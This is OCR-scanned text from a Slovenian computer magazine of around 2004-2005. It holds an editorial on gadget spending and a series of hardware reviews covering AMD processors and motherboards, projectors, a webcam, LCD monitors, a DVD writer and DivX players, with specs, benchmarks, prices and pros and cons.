Zeljno sprejmejo vsak, Se tako odbit elektronski
dodatek.

Med »resnejsimi napravami«, kot so mobilni
telefoni, na katere v raznih narocniskih akcijah
ob vedletnih zavezah »tripamo« tudi Slovenci,
je opazen tehnoloski preskok med aparati, ki so
na prodaj na japonskem trgu, ter tistimi, ki so
v ponudbi po »preostalem« svetu. Povprecen
japonski mobilnik, prodan v drugi polovici leta
2004, je imel vdelano kamero z lodljivostjo
milijon in pol pik! Sicer pa so v defeli
vzhajajocega sonca e povsem obicajni tudi
mobilniki y vdelanim fotografskim senzorjem
locljivosti 3 milijone pik, v letu 2005 pa naj bi
bil predstavljen tudi prvi mnoZicno prodajan
telefon z 8 milijoni pik. In zakaj teh ni
tudi pri nas, utegnete poreci. Tudi jaz sem
se spraSeval, dokler nisem iz hecnih jenov
preracunal Stevilke v kaksno bolj domaco
valuto. Ko sem nesek preracunal drugi¢,
sem bil Se vedno skepticen in prepridan. da
racunam po napacnem menjalnem razmerju.
Po dobrih desetih minutah preverjanja me je
presunilo. Povprecen Japonec je pripravljen za
svoj nowi »fancy, super-duper« mobitel odsteti
skoraj 3000 evrov!

Bogi¢no-novoletni prazniki so izgovor
za Se prencekateri prenaglien in nepotreben
nakup in tehnoloske igrace vse bolj vstopajo
v to kategorijo. Ceprav regijskim in lokalnim
distributerjem lahko yamerimo wrsto stvari,
pa je treba priznati, da za nas, konéne
uporabnike, opravljajo tudi hudimano
tezasko delo — selekcijo. V navalu dodatkow,
prikljuckov, napravic in druge elektronske
krame, katere globino lahko dojamemo Sele po
obisku tajvanske ali kitajske hale na Cebitu,
razumemo, da bi tudi mi zapravili Se vec
denarja za popolne bedarije (kot Japonci), tako
pa nas varujejo lokalni veljaki ... Slava jim!
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AMD-jeve nove maticne plosCe in procesor;i

MNOGO OBRAZOV AMD-JA!

Podjetje AMD, ki kot vecni Intelov tekmec zadnje ¢ase Zanje vse veC uspehov, ima
podobno kot Intel trenutno v ognju kar nekaj procesorjev in, spet podobno, na kar

Vv

v

najnovejSih maticnih plos¢ ter primerjali funkcije in kakovost skozi prizmo cene, v

precep pa vzeli Se najnovejse procesorje.

Pise: Jaka Mele
Jaka.Mele@Mojmikro.si

preizkus smo dobili e Athlon 64 40-

00+, ki je trenutni vrh ponudbe za na-

mizni trg. No, dra¥ji procesor sicer ob-

staja — AMD FX 55, a je razlika le v
imenu in za 200 MHz vi§jem delovnem taktu.
Socasno smo na test dobili tudi predstavnika
podnoZja Socket 754, Sempron 3100+, med-
tem ko Socket A, katerega najhitrejsi proce-
sor je Sempron 2800+, pocasi zamira.

Procesor Athlon 64 4000+ (prej FX-53)
ima 1 MB hitrega predpomnilnika L2, je-
dro procesorja pa utripa pri taktu 2,4 GHz.
V procesor je vdelan 128-bitni pomnilnigki
krmilnik, ki podpira pomnilnike do PC3200
(DDR 400). Procesor je $e vedno grajen z
0,13-mikronsko tehnologijo, vsebuje pa 106
milijonov tranzistorjev. Poraba procesorja ob
polni obremenitvi je 89 W.

Razlika med procesorji Athlon 64 3500+,
3800+ ter novim 4000+ je torej tudi v po-
vefanju predpomnilnika L2 s pol na cel
megabajt. To tudi razlo%i, zakaj je 4000+ hi-
trejsi od 3800+, ki sicer deluje pri isti delo-
vni frekvenci jedra. Vsi procesorji od 3500+
do 4000+ domujejo na osnovi 939, ki med
drugim ponuja tudi dvokanalni dostop do
pomnilnika.

Sempron je nadaljevanje najcenejse druZi-
ne Duron, ki zdaj zdru?uje arhitekturo proce-
sorjev Athlon XP in Athlon 64 (ne vsi). Mo-
deli Sempron 2200+ do 2800+ so bili doma
na osnovi Socket A, v bistvu pa gre le za pre-
oblegene procesorje Athlon XP z dvignjeno
hitrostjo vodila na 166 MHz. Novi Sempron
3100+, tako kot drugi, ki so na voljo le za
osnovo Socket 754, gradijo na jedru Athlon
64, vsebujejo pa le 256 KB predpomnilnika
L2 in imajo izklju¢ene 64-bitne ukaze! Pro-
cesor Se vedno vsebuje vdelan pomnilniski
krmilnik z nizko latenco, vendar ta ni dvo-
kanalni, podpira pa DDR 400. Zanimivo

— dejanski takt procesorja Sempron 2800+
je za 200 MHz vi§ji od ure Semprona 3100+,
vendar pa testi potrjujejo prednost slednjega.
Kaj izbrati za vstopni razred? Poceni mati¢ne
plo3ce za Socket 754 se Sele pojavljajo, za So-
cket A pa jih je veliko. Manjkajoce 64-bitne
ukaze pa bomo lahko objokovali $ele s priho-
dom 64-bitnega sistema Windows.
|

EPoX 8KDA3+

Skupna ocena: EEEEEEEEEE
Razmerje cena/kakovost: EEEEEEEEEN

Informacije: Mlacom, d.o.0., Ljubljana
Spletni naslov: www.epox.nl
Cena: 33.240 SIT

Tehnicni podatki

Vezni Gip: nVidia nForce 250 GB

Osnova in CPU; AMD Socket 754, 1 CPU
Pomnilnik: 3 reze DDR400, do 3 GB

Razsiritvene reze: 6x PCI, 1x AGP 8x

Funkeije: 8x vrata USB 2.0, 2x vrata FireWire,
krmilnik Serial ATA, gigabitni omrezni adapter,
osemkanalni zvok 7.1.

ZA: Odlitna cenovno ugodna plo$¢a za pro-
cesor Athlon 64 do 3400+ (Sempron 3100+).
Sest priklju¢kov Serial ATA omogoca veliko
perifernih naprav, hkrati pa plo§¢a ponuja ste-
vilne moZnosti navijanja. Tu je tudi osemka-
nalni zvok z digitalnim izhodom.

PROTI: Nobenih dodatnih modulov (ko-

munikacije)



PREIZKUSILI SMO ...

MSI K8M Neo-V

Skupna ocena:

Razmerje cena/kakovost:
Informacije: E-misija, d.o.o0., Ljubljana
Spletni naslov: www.msi.com.tw

Cena: 28.000 SIT

Tehnicni podatki

Vezni ¢ip: VIA K8M800, VT8237

Osnova GPU: AMD Socket 754, 1 CPU

Pomnilnik: 2 reze DDR400, do 2 GB

Razsiritvene reze: 5x PCI, 1x AGP 8x

Funkcije: 8x vrata USB 2.0, 2x vrata FireWire,
krmilnik Serial ATA, omrezni adapter 10/100, Sest
kanalni zvok 5.1, integrirana grafika

ZA: poceni plo3¢a za procesor Athlon 64 do
3400+ ali Sempron 3100+ in naprej. Grafika
je solidna, hkrati pa rea AGP ponuja prostor
za nadgradnjo.

PROTI: 2 to ceno nic.

MSI K8N
Neo Platinum

Skupna ocena: EEEEEEEEEN
Razmerje cena/kakovostt HEEEEEENEN
Informacije: E-misija, d.o.o., Ljubljana

Spletni naslov: www.msi.com.tw

Cena: 33.500 SIT

Tehnicni podatki
Vezni ¢ip: Nvidia nForce3 250GB

Osnova in CPU: AMD Socket 754, 1 CPU
Pomnilnik: 3 reze DDR400, do 3 GB

Razsiritvene reze: 5x PCI, 1x AGP 8x

Funkcije: 8x vrata USB 2.0, 2x vrata FireWire,
krmilnik Serial ATA, gigabitni omrezni adapter,
osemkanalni zvok 7.1, komunikacijska reza

ZA: solidna in hitra plos&a za procesor At-
hlon 64 do 3400+ ali Sempron 3100+ in na-
prej. Kopica dodatnih funkcij, kot so BuzzFree,
LifePro, PowerPro in Speedster, olajsa delo.

PROTI: ~: prilofenega komunikacijskega

modula.

AMD-jeve nove maticne ploSCe in procesorji

MSI K8N Neo-2

Razmerje cena/kakovost HEEEEEEENN
Informacije: E-misija, d.o.0., Ljubljana
Spletni naslov: www.msi.com.tw

Gena: 43.000 SIT

Tehnicni podatki

Vezni Gip: Nvidia nForce3 Ultra

Osnova in CPU: AMD Socket 939, 1 CPU
Pomnilnika: 4 reze DDR400, do 4 GB
Razsiritvene reze: 5x PCI, 1x AGP 8x
Funkeije: 8x vrata USB 2.0, 2x vrata FireWire,
krmilnik Serial ATA, gigabitni omrezni adapter,
osemkanalni zvok 7.1, prilozena wifi 802.11g
kartica, dvokanalni krmilnik za pomnilnik

Testiranje istih procesorjev na plos¢ah raz-
licnih proizvajalcev (znotraj iste osnove) je
presenetljivo pokazalo dokaj podobne rezul-
tate. Podobne rezultate lahko razloZimo z zre-
lostjo osnove, ki je Ye doakala vse popravke
biosov in drobnega navijanja. Osnova 939 si-
cer Se pus¢a odprta vrata, vendar bodo te nove
razlike morali sprejeti novi vezni nabori.

ZA: Hitra in funkcio- Intel P4 3,46 | AMD Athlon 64 | AMD Athion 64 | AMD Sempron
nalno polna mati¢na plos- GHz EE 3500+ 4000+ 3100+
&a za procesorje Athlon 3DMark 2005
64, osnove 939. Kopica skupno 1024x768 | 3.189 3.055 3138 2.213
dodatnih funkcij, podpora PCMark 2004
za dvokanalni dOStOp do SkUpnO 5.540 4.558 5.394 3.704

Procesorje smo soocili v testih PCMark 2004, 3DMark 2005. Vsi programi so se-
stavljeni iz nabora tipicnih aplikacij in uporab. Rezultat je sestavljen iz povpredij in je
indeksne oblike ali pa pomeni skupno oceno visja Stevilka pomeni boljSi rezultat.
Pri testih 3,46 GHz procesorija Intel sta bila uporabljena ploS¢a z naborom i925XE
ter 1024 MB dvokanalnega DDR-2 533 MHz pomnilnika; pri testu procesorjev AMD
Athlon 64 so bile uporabliene plosce ASUS A8V in MSI K8N-Neo2, Pri testu AMD
Semprona pa EPoX 8KDA3+, MSI K8N Neo ter K8M Neo-V. Uporabljeni sta bili grafiki
nWWidia GeForce 6600 GT na vodilu AGP 8x in na PCExpress. Sistem Windows XP.

pomnilnika, prilofen brez-
#i¢ni modul standarda 80-
2.11g. Plos¢a podpira pro-
cesorje s prednjim vodilom
hitrosti 1 GHz (na podnuz-
ju 754 le 800 MHz).

PROTI: visoka cena

Dve je vec kot ena

Koné&no smo docakali prve mati¢ne plosce
za namizne ralunalnike, ki podpirajo dve
re%i za grafiko na vodilu PCI Express. Ko
je nVidia e pred slabega pol leta napove-
dala mo?nost vzporednega delovanja dveh
grafi¢nih kartic, ki v povezavi dosegata vigji
rezultat, je bila glavna ovira pomanjkanje
mati¢nih plos¢, ki bi imele dve grafi¢ni re%i
PCIE x16. Do danes je bila taka le Intelova
mati¢na plos¢a, namenjena delovnim posta-
jam s procesorjem Xeon.

V preizkus smo dobili dve kartici PCIE pro-
izvajalca ASUS, modela 6600 GT. Kartici
smo namestili na trenutno edino mati¢no
plos¢o, temelje¢o na nVidiinem novem vez-
nem naboru nForce4. Osnovo smo zaokro%i-
li z procesorjem AMD Athlon 64 4000+ ter
512 MB dvokanalnega pomnilnika DDR4-
00. Slabost je vsekakor poraba energije, ki
se za tak par ob polni obremenitvi ocenjuje
na 300 W, kar pomeni, da boste morali po-
skrbeti za precej mocan napajalnik.

Testi: Locljivost, globina | Nvidia Nvidia
6600 6600 SLI
3D Mark 2005 | 1024 x 768 x 32| 3116 6024

Vrednosti meritev v 3Dmark2005.

ZA: Plos¢a, nabita z novimi funkcijami, ki
jih prinaga nForce4; podpora za dve vzpored-
no delujo¢i grafi¢ni kartici nVidia, podpora
za Serial ATA naslednje generacije — 3 GB/s;

dve gigabitni omreZni kartici s funkcijo Al net

Skupna ocena:

Razmerje cena/kakovost:
Informacije: Acord-92, d.o.0., Ljubljana
Spletni naslov: www.asus.com

Cena: 45.500 SIT

Tehnicni podatki

Vezni ¢ip: nVidia nForce4 SLI

Osnova in CPU: AMD Socket 939, 1 CPU

Pomnilnik: 4 reze DDR400, do 4 GB

Razsiritvene reze: 3x PCI, 2x PCIE x16

Funkeije: 10x vrata USB 2.0, 2x vrata FireWire,
krmilnik Serial ATA 3 GB/s, 2x gigabitni omrezni
adapter, osemkanalni zvok 7.1, prilozena kartica wi-fi
802.11g, dvokanalni krmilnik za pomnilnik

za samodejno usmerjanje prometa in pozarne-
ga zidu; v vsakem pogledu najboljsa ploséa za
osnovo 939 ta hip; vrsta dodatnih funkcij, ki
jih ASUS %e prerogko izvede najbolje.

PRUTI: Cena ni ravno nizka — toda novo-

tarije so drage!
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PREIZKUSILI SMO ...

projektor

RELISYS RLP 2000

Informacije: ElkoTex, d.o.0., Ljubljana

Spletni naslov: www.relisys.com

Cena: okoli 397.000 SIT

Tehnicni podatki

Tehnologija in loéljivost: 3 x 0,9” p-Si LCD, XGA
(1024x768)

Svetilnost: 2000 ANSI-lumnov

Kontrast: 400:1

Zivljenjska doba Zarnice: 2000 ur

Vmesniki: kompozitni video, S-video, komponentni
video, 2x D-SUB, 2x RCA, DVI-D, USB, 2x minijack
stereo,krmilni vmesnik

Mere in teza: 260 x 320 x 114 mm; 3,9 kg
Daljinski upravljalnik: Da

Dodatno: Torba

ZA: Dokaj velik in teZak projektor klasi¢-
ne oblike se ¥e ob prvem stiku z uporabnikom
pohvali z Sirokim naborom priklju¢kov, kjer
najdemo tako DVI-D kot D-Sub in $e kompo-
nentni video. Projektorjeva zmogljivost prika-
zati sliko tako po standardu NTSC kot PAL
in nadaljnja podpora za HDTV vse do 1080i,
poskrbi, da bo upravi¢eval vrednost nakupa Se
dolga leta. Nazivna logljivost projektorja je
1024 x 768, s stiskanjem pa zmore prikazati tudi
1280 x 1024 oziroma 750 TV-vrstic. Svetilnost
in kontrast sta dobra, slika je barvno pestra in
ostra. Sistem menijev je sicer malce zastarel in
okoren, a se uporabnik kar hitro privadi, pa
tudi zelo dober priloZen daljinski upravljalnik
pri tem izredno pomaga. Za predstavitve je na
njem $e vdelan laserski kazalnik. Z razdalje 2
metrov zna projektor ustvariti sliko s preme-
rom 1,6 metra; sicer pa ima dovolj mo¢&i za pro-
jiciranje z razdalje do 15 metrov.

PROTI: Projektor je zelo tezak in velik, s
&imer ima Ye precej omejeno uporabo. Najbolj
pa moti precej glasno delovanje ventilator-
jev, ki projektor naredijo prakti¢no neupora-
ben zunaj vegjih dvoran oz. brez montaZe pod
stropom — kjer pa je spet vpraSanje, ali svetlost
in kontrast zadosata za tak vegji prostor. Ziv-
ljenjska doba Zarnice je le 2000 ur, brez moZno-
sti ekonomi¢nega nadina delovanja. Za izklop
in ohladitev Zarnice projektor potrebuje kar
dve minuti.

Jaka Mele
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projektor

NEC VT47

AN

Skupna ocena:
Razmerje cena/kakovost HEEEEEEENN
Informacije: Acord-92, d.o.o., Ljubljana

Spletni naslov: www.de.nec.de

Cena: 274.900 SIT

Tehnologija in loéljivest: 3 x 0,7 palca p-Si LCD,

SVGA (800 x 600)

Svetilnost: 1500 ANSI-lumnov

(1200 v ekonomicnem nacinu)

Kontrast: 400 : 1

Zivljenjska doba Zarnice: 2000 ur, (3000 ur v
ekonomiénem nacinu)

Umesniki: kompozitni video, S-video, D-sub, 2x RCA
avdio vhod, D-sub monitor izhod

Mere in teza: 294 x 260 x 94 mm; 2,9 kg

Daljinski upravljalnik: Da

Dodatno: Torba

ZA: Ceprav tudi v nifjem cenovnem razre-
du projektorji nikakor nocejo narediti ve&jega
cenovnega padca, pa opazen dvig kakovosti.
Za dobrih 1000 dolarjev torej dobimo Ze pov-
sem spodoben projektor, kot je na primer NEC
VT47. Projektor je razmeroma majhen, in &e-
prav ne spada v strogo ultralahko kategorijo,
ga lahko brez tefav prenaSamo naokoli. Je pri-
jetnih zunanjih oblin, odet v belo ohije in po-
nuja nazivno lo¢ljivost 800 x 600, z interpolacijo
(NEC-ova patentirana refitev AccuBlend) pa
do 1280 x 1024. NEC VT47 zna prikazati sliko
iz razli¢nih virov, vklju¢no z NTSC, PAL, SE-
CAM; pri ¢emer mu pomaga standardni nabor
vmesnikov. Med delovanjem je projektor s svo-
jimi 28 dB med tisjimi, kar pa pomeni le, da ga
med predvajanjem filma ne boste slifali. Svetil-
nost in kontrast sta zelo dobra. Slika je barvno
pestra in ostra. Projektor smo preizkusili tudi v
svetlem prostoru in slika je bila $e¢ vedno upo-
rabna. Z razdalje 9 metrov zna projektor ustvariti
sliko s premerom 7,6 metra; v stvarnejiih raz-
merah dnevne sobe, pa zna %e pri oddaljenosti 3
metre prikazati sliko diagonale 2 m. Prijetno sta
presenetila zelo hiter &as zagona projektorja kot
tudi izredno hiter &as izklopa (hlajenje Zarnice v
varno obmogje je trajalo okoli pol minute). Pro-
jektor je preko vdelanih krmilnih gumbov in da-
ljinskega upravljalnika enostavno upravljati.

PROTI: KaZe, da projektorji z Yivljenjsko
dobo Zarnice nad 3000 ur pocasi izginjajo.
Projektor zna sicer popravljati popacenja sli-
ke (projekcija na krive, upognjene povriine),
vendar je ta domena prepus¢ena dra%jim mo-
delom. Tudi barvne korekcije ne obvlada. Po-
grefali smo Cip za bolj teko¢ prikaz video slike.
Jaka Mele

projektor

Ben() PB2240

Razmerje cena/kakovost: HEEEEEEEEN
Informacije: Avtera, d.o.o., Ljubljana

Spletni naslov: www.beng.com

Cena: 473.700 SIT

Tehnologija in loéljivost: 0,55” SVGA DPL,
XGA (1024 x 768)

Svetilnost: 2000 ANSIHumnov

Kontrast: 2000:1

Zivljenjska doba Zarnice: 2000 ur,

(3000 ur v ekonomiénem nacinu)
Umesniki: kompozitni video, S-video, D-sub,
minijack avdio vhod, USB

Mere in teza: 238 x 86 x 180 mm; 2,9 kg
Daljinski upravljalnik: Da

Dodatno: Torba

ZA: BenQ PB2240 je zelo majhen in do-
kaj lahek projektor elegantne oblike, odet v
poslovne ¢&rno-srebrne odtenke. Tehnologija
DLP-projektorju omogoca izredno svetlo in
kontrastno sliko, kar je v razredu prenosnih
projektorjev redkost in ima svojo ceno. Pro-
jektor zna samodejno popravljati trapezno
popadenje slike, ki nastane pri projekciji na
nagnjeno steno ali zaradi nivojskega razkoraka
postavitve. Tehnolosko torej dovrsen projek-
tor, ki ponuja nazivno lo¢ljivost 1024 x 768, z
interpolacijo pa do 1280 x 1024. Barve proji-
cirane slike so bile odli¢ne, kontrastna slika pa
dobro vidna tudi v svetli sobi. Projektor se po
Stevilkah z vrednostmi pod 36 dB sicer uvrica
v zlato sredino, a je Se vedno precej motec pri
delovanju v majhnem prostoru ali pri predava-
telju s slabim glasom. Z razdalje 2 metrov zna
projektor ustvariti sliko s premerom skoraj 2
metra, s Cimer je primeren za projekcijo tudi v
manjsih prostorih. Projektor sprejme in prikaze
sliko tako iz virov PAL kot NTSC, tuja pa mu
nista niti HDTV in prikaz slike razmerja 16
: 9. Cas zagona projektorja je med hitrejsimi,
&as izklopa (hlajenja Zarnice v varno obmocje)
pa je minuto in pol. Projektor je prek vdelanih
krmilnih gumbov in daljinskega upravljalnika
enostavno upravljati, v kompletu pa je priro¢-
no prilo%en tudi daljinski upravljalnik predsta-
vitev.

PROTI: Projektor ima navkljub majhnosti
dokaj malo vhodov, saj smo pogresali digitalni
vhod DVI ter stereo RCA (&in¢), prav tako iz-
hod za povezavo na drug zaslon. Projektor je ne
glede na ponujeno med dra%jimi.

Jaka Mele



PREIZKUSILI SMO ...

spletna kamera

Logitech QuickGam
Communicate Plus

Razmerje cena/kakovost: EEEEEEEEEE

Spletni naslov: www.logitech.com
Cena: 17.200 SIT

Stevilo pik: 300 K

Najvisja locljivost: 640 x 480
Loljivost videa: 640 x 480

Stevilo zajetih slik na sekundo: do 30
Vmesnik: USB 2.0 in 1.1

ZA: Uporabo spletne kamere dandanes pod-
pira e vsaka omre?na aplikacija. Razli¢ice naj-
bolj uporabljanih takoj$nih komunikatorjev,
kot so ICQ, MSN in Yahoo Messenger, kame-
re podpirajo %e dlje &asa, v prihodnjih mesecih
pa se nadejamo podpore tudi v programih, kot
je Skype, z navezo na mobilne UMTS-telefo-
ne pa bo slika Se zlasti pomembna. Logitech
je proizvajalec spletnih kamer %e dolga leta,
odkar ko je prevzel podjetje QuickCam. V po-
nudbi osnovnega vstopnega razreda najdemo
model Communicate Plus, v paketu pa poleg
kamere, ki se jo s prilofenim drfalom da na-
mestiti na rob LCD-zaslona ali prostostojeco
na vsako ravno povrsino, najdemo e slusalke
z vdelanim mikrofonom in vso potrebno pro-
gramsko opremo, da takoj za¢nemo komunici-
rati. Kamera je zdruZljiva z zgoraj navedenimi
programi in Microsoftovim NetMeetingom,
Logitechova lastna programska oprema pa
omogoda Se posiljanje zajetih slik po e-posti in
snemanje video posnetkov.

PROTI: Kakovost spletnih kamer je Ze
nekaj let na isti ravni in napredek v drugih
delih ra¢unalnigke industrije se nikakor ne do-
takne tega segmenta. Kakovost slike in videa
je sprejemljiva, hitrost zajema bi bila lahko
vi§ja. Prenos ¥ivega videa loc¢ljivosti 640 x 480
po ADSL- ali kabelskih linijah namre& ni ve
obremenitev, tako da si Yelimo visjo lo¢ljivost.
Logitechov VideoCall je sicer korak v pravo
smer, a je treba polno licenco programa do-
placati.

Jaka Mele

LCD-monitor

NEC 1770NX

Razmerje cena/kakovost: HEEEEEEEEN
Informacije: Acord-92. d.o.o., Ljubljana
Spletni naslov: www.de.nec.de/

Gena: 109.900 SIT

Velikost diagonale: 17 palcev

Loéljivost: 1280 x 1024 @ 75 Hz

Barvna globina: 16,7 milijona barv

Zorni kot: 160 stopinj vodoravno,

160 stopinj navpicno

Svetilnost: 250 cd/m?

Kontrastno razmerje: 500 : 1

OsveZevanje: 12 ms

Vmesniki in prikljuéki: D-sub, DVI

ZA: Zaslon NEC 1770NX %e na prvi pogled
sodi v vi§ji kakovostni in s tem tudi cenovni
razred. Tudi za ergonomijo je odli¢no poskrb-
ljeno, saj je mo¢ monitor nastaviti tako po vi-
$ini kot po navpi¢nem kotu. Zaslon ima ozek
rob in pod spodnjim robom posreéene krmilne
gumbe, ki kar vabijo roko. Napajalnik je vde-
lan v zaslon, pa tudi kanali za zakrito polo%i-
tev kablov so tu. Odli¢na slika z uravnoteeno
belino in kontrastom je prisotna ¥e samodejno
kot tovarnitka nastavitev. Omogoca odli¢no
vidnost tako podnevi pri son¢ni svetlobi kot
ponodi, ko kontrast ne utruja oci. Zaslon upo-
rablja TFT-matriko z 12 ms odzivnim &asom,
kar poskrbi za nemoten prikaz hitre, Zive slike.
Lo¢ljivost 1280 x 1024 omogoa nemoteno
delo. Zaslon ima odli¢ne, Zive barve, tudi kon-
trast je dovolj velik, da ob razponu med zelo
svetlimi in zelo temnimi toni na isti sliki do-
volj dobro prika%e podrobnosti na robu palete.
Naprava omogoca prikljucitev tako prek ana-
lognega kot digitalnega DVI-vmesnika, tezav
pri interpolaciji v ni%ji lo¢ljivosti nismo zazna-
li. Vidni kot je tudi odli¢en.

PROTI: 7a monitorja ni mo¢ zasukati v
pokonéni poloZaj. Predvsem pa moti cena, ki
bo od nakupa odvrnila ve&ino, razen najpozor-
nejiih in izbir¢nih kupcev.

Jaka Mele

LCD-monitor

BenQ FP767-12

Skupna ocena:
Razmerje cena/kakovost:

HEEEEEEEEEN
Informacije: Avtera, d.o.o., Ljubljana
Spletni naslov:

Cena: 98.700 SIT

Velikost diagonale: 17 palcev
Loéljivost: 1280 x 1024 @ 60 Hz
Barvna globina: 16,7 milijona barv
Zorni kot: 160 stopinj vodoravno,
160 stopinj navpicno

Svetilnost: 300 cd/m?

Kontrastno razmerje: 500 : 1
OsveZevanje: 12 ms

Umesniki in prikljuéki: D-sub

ZA: BenQ si z Avtero na slovenskem trgu
vse bolj utrjuje vidno mesto. Hkrati pa vse kaZe,
da je postal vodilni tehnoloskega razvoja med
LCD-zasloni, saj se novi model ponasa z naziv-
no hitrostjo 12 ms. Zaslon je odet v kombini-
rano &rno-srebrno ohisje, z elegantnimi gumbi
in prikazovalnikom delovanja. Hitra odzivnost
je primerna za gledanje filmov in igranje iger.
Zaslon nas je vizualno zadovoljil. Barve in sve-
tlost so bile razporejene enakomerno, kontrast
je bil na povpre&nih vrednostih. Sistem meni-
jev je pregleden in uporaben, Eeprav razpore-
ditev krmilnih tipk zahteva nekaj prilagajanja.
Zaslon ima Sirok razpon med zelo svetlimi in
zelo temnimi toni na isti sliki, a bi lahko pri-
kazal tudi kak§no podrobnost ve&.

PROTI: Hitrost ni vse. Ze vizualna ocena
pokaZe, da zaslon v dolo¢enih primerih sliko
osveZuje s precej pocasnejsim casom, ki je v
Spicah bli%je 35 kot 12 ms. Zato v dolo¢enih
kompozicijah in barvah slike $e¢ vedno opazi-
mo vzorlenje ob hitri menjavi slike. Pogresali
smo dodatne funkcije, kot sta recimo digitalni
vhod ter ergonomija, hkrati pa bi z veseljem
pogresali vdelane zvoc¢nike. Pri interpolaciji v
ni%ji lo¢ljivosti slika zgubi ostrino.

Jaka Mele
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PREIZKUSILI SMO ...

DVD-zapisovalnik 16x

NEC 3520

e,

EEEEEEEEEN
Informacije: Acord-92. d.o.0., Ljubljana
Spletni naslov: www.de.nec.de
Cena: pod 19.000 SIT
Tip: DVD+-R/W
Hitrost branje/pisanje/prepisovanje DVD: 12/16(16)/8(6)x
Zapisuje dvoslojne medije: da, 4x (2x)
Hitrost branje/pisanje/prepisovanje CD: 48/32(48)/16(24x)
Koligina predpomnilnika: 2 MB
Preverjanje zapisovanja: Da
Dodatki:
Prilozena programska oprema:

Razmerje cena/kakovost:

ZR: Osvesitev i NEC-ovega tabora spet
dviga zmogljivosti opti¢nih DVD-zapisoval-
nikov. Najvije hitrosti zapisovanja, 16x, sicer
ni mo¢ ve& izboljsati, zato pa se dviga hitrost
zapisovanja prepisljivih medijev, ki je pri
DVD+RW zdaj e 8x, pri -RW pa 6x. Prav
tako enota poleg e videnega dvoslojnega za-
pisovanja DVD+R DL (4x), prina$a dvoslojno
zapisovanje tudi za tabor -R DL, kjer dosega
hitrost 2x. Zapisovanje 4,7 GB podatkov je
bilo skupaj z zaklju¢evanjem seje opravljeno
v dobrih 6 minutah. Dostopni &asi so okoli
120 ms pri DVD-delu, enako pri CD-nacinu.
Tehni¢ne znacilnosti pri CD-delu ostajajo iste
— 48x hitrost zapisovanja CD-R in 24x hitrost
prepisovanja. Enota je $e krajsa in la¥ja kot
predhodnik, delovanje pa je izredno tiho. Tudi
sama mehanika je daje oblutek natan&nosti
— pladenj se premika mehko in tiho, brez zabi-
janja ali zadevanja, kar nas je posebej razvese-
lilo, saj smo prav tu pri testu 3500 opozorili na
tezave. Gre torej za odli¢no enoto, ki zapisuje
kakovostno, hitro in hkrati ceneje. Priporo¢a-
mo!

PROTI: Ceprav mediji s podporo 16x DVD-
zapisovanju Ze prihajajo, mno%i¢no in ceneje
e vedno dobimo le 8x ali celo 4x. Dvoslojni
mediji so Se vedno dragi, -R DL pa sploh $e ni
videti. V OEM-razlidici enoti ni bilo priloZene
dodatne programske opreme. Pri¢akovali smo
tudi Ye¢ vmesnik SATA, a o njem e ni sledi,
ostajamo pri preizkuSenemu EIDE.

Jaka Mele
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hi-fi DVD/DivX-predvajainik

¥ ,-""/

EEEEEEEEEN
Informacije: ChipTrade, d.o.0., Ljubljana
Spletni naslov: www.yamakawa.de
Cena: 24.000 SIT
Podprti mediji: DVD-R(W), DVD+R(W), CD-R, CD-RW
Predvaja: DVD, VCD, SVCD, CDDA, MP3, ISO MPEG4,
DivX, Xvid, Picture CD, JPEG CD, WMV
Video izhodi:SCART, kompozitni, koaksialni,
S-video, D-SUB
Avdio izhodov: 2x Cinc (stereo RCA), 6x €in¢ (5.1
analogni), koaksialni digitalni, opti¢ni S/PDIF
DVD regijsko zaséiten: Da
DolbyDigital dekodirnik: Da
Daljinski upravljalnik: Da

Razmerje cena/kakovost:

ZA: Yamakawin najcenejsi DivX-predvajal-
nik je tanka enota, ki odeta v srebrno barvo
in prijetne linije poZivi katerokoli povriino. V
primerjavi z zmogljivej§im modelom 375 ima
elegantnejso linijo, preglednejsi pa je celo da-
ljinski upravljalnik. Enota temelji na &ipovju
Mediatek, ki je sicer eno starejsih, a kon&no
dobiva dodatke, obljubljene %e pri prvih enotah
(Yamada, Philips 720sa, Pioneer 470-575, Elta
...). Enota predvaja DVD- in razli¢ne vsebine
MPEG 4 od DivX 3.11 naprej. Izstopajo pod-
pora zapisu Windows Media Video ter moZ-
nosti prikazovanja podnapisov (Stiri moZne
izbire velikosti in barv, sredinska postavitev),
s pravilnim prikazovanjem slovenskih znakov.
Z najnovejim popravkom, ki smo ga prejeli v
Casu testiranja, je branje medijev enakomer-
nejde in enota zato tiSja. Enota se lahko po-
hvali z dekodirnikom Dolby Digital oz. DTS, s
&imer ponuja veliko ve& kot primerljive enote
v tem cenovnem razredu. Progresivno izrisova-
nje ter izhod D-sub za priklop v ra¢unalniski
monitor samo e povecata vrednost.

PROTI: Enota ima precej Sibak pladenj
za medije. Glede na primerljive enote v spod-
njem cenovnem razredu pa je za slabih deset
tiso¢akov (ali 60 %) predraga.

Jaka Mele
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hi-fi DVD/DivX-predvajalnik
Yamakawa 375

Razmerje cena/kakovost: HEEEEEEEEN
Informacije: ChipTrade, d.o.o., Ljubljana

Spletni naslov: www.yamakawa.de

Gena: 39.000 SIT

Podprti mediji: DVD-R(W), DVD+R(W), CD-R, CD-RW
Predvaja: DVD, VCD, SVCD, CDDA, MP3, ISO MPEG4,
DivX, Xvid, Picture CD, JPEG CD, Ogg Vorbis, WMV
Video izhodi: SCART, kompozitni, koaksialni,

S-video, DVI

Avdio izhodi: 2x ¢in€ (stereo RCA), koaksialni digitalni,
opticni S/PDIF

DVD regijsko zaséiten: Da

DolbyDigital dekodernik: Ne

Daljinski upravljalnik: Da

ZA: Yamakawini predvajalniki so na sloven-
skih tleh prisotni %e od zafetka samostojnih
predvajalnikov vsebin DivX, in navkljub ne-
navadnemu imenu gre za preizkufeno nemsko
podjetje. Predvajalnik model 375 temelji na
sicer malce starejsemu Cipovju Sigmadesign,
ki pa ga uporablja tudi celotna paleta pred-
vajalnikov KISS. Predvajalnik srebrne barve
sicer deluje klasi¢no, elegantno. Enota je brez
tefav predvajala DVD in razli¢cne MPEG 4
vsebine od DivX 3.11 naprej. Pohvaliti velja
podporo zapisoma Windows Media Video in
OggVorbis. Predvajalnik na zaslon¢ku izpisuje
osnovne podatke oz stanje, med predvajanjem
MP3-glasbe pa tudi ID3-informacije. Enota
podpira predvajanje podnapisov, pri emer je
ime datoteke popolnoma nevezano na pred-
vajano datoteko. Enota pravilno prika%e tudi
Sumnike, brez te¥av obvlada hitro premikanje
naprej in nazaj, omogoca celozaslonsko sliko
ter dodatne povecave. Podpora zapisu HDTV
